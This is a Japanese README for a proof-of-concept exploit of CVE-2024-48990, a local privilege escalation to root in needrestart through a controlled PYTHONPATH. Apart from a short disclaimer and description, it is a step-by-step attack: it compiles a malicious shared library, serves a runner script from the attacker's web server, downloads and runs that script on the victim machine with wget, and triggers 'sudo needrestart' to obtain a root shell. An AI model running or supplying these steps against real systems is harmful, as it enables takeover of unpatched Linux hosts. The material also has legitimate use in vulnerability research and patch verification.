CVE-2024-48990

[!WARNING] これらのファイルおよび情報は教育目的のみを意図しています。 著者は悪意のある行為について一切責任を負いません。 提供されるすべての情報は、いかなる犯罪や悪用を助長するものではありません。

説明

Qualys は、バージョン 3.8 より前の needrestart において、ローカルの攻撃者が PYTHONPATH 環境変数を制御して needrestart に Python インタープリターを実行させることで、root として任意のコードを実行できることを発見しました。公式の詳細は NIST を確認してください。

PoC

1. git からリポジトリをダウンロードする

git clone https://github.com/grecosamuel/CVE-2024-48990.git

2. exploit.c ライブラリをコンパイルして、有効な ELF ライブラリを生成し、__init__.so という名前を付けます

gcc -shared -fPIC -o __init__.so exploit.c

3. 自分の Web サーバーの IP と PORT を、runner.sh の 7 行目と 10 行目の <IP> と <PORT> に変更します。
4. Web サーバーを起動します

python3 -m http.server

5. 被害者のマシンに runner をダウンロードします

wget http://IP:PORT/runner.sh

6. runner に実行権限を設定します

chmod +x runner.sh

7. スクリプトを実行します

./runner.sh

8. sudo 権限で needrestart を実行します

sudo needrestart

[*] CVE module created と表示されたら、CTRL+C を押してプロセスを停止し、シェルを取得します。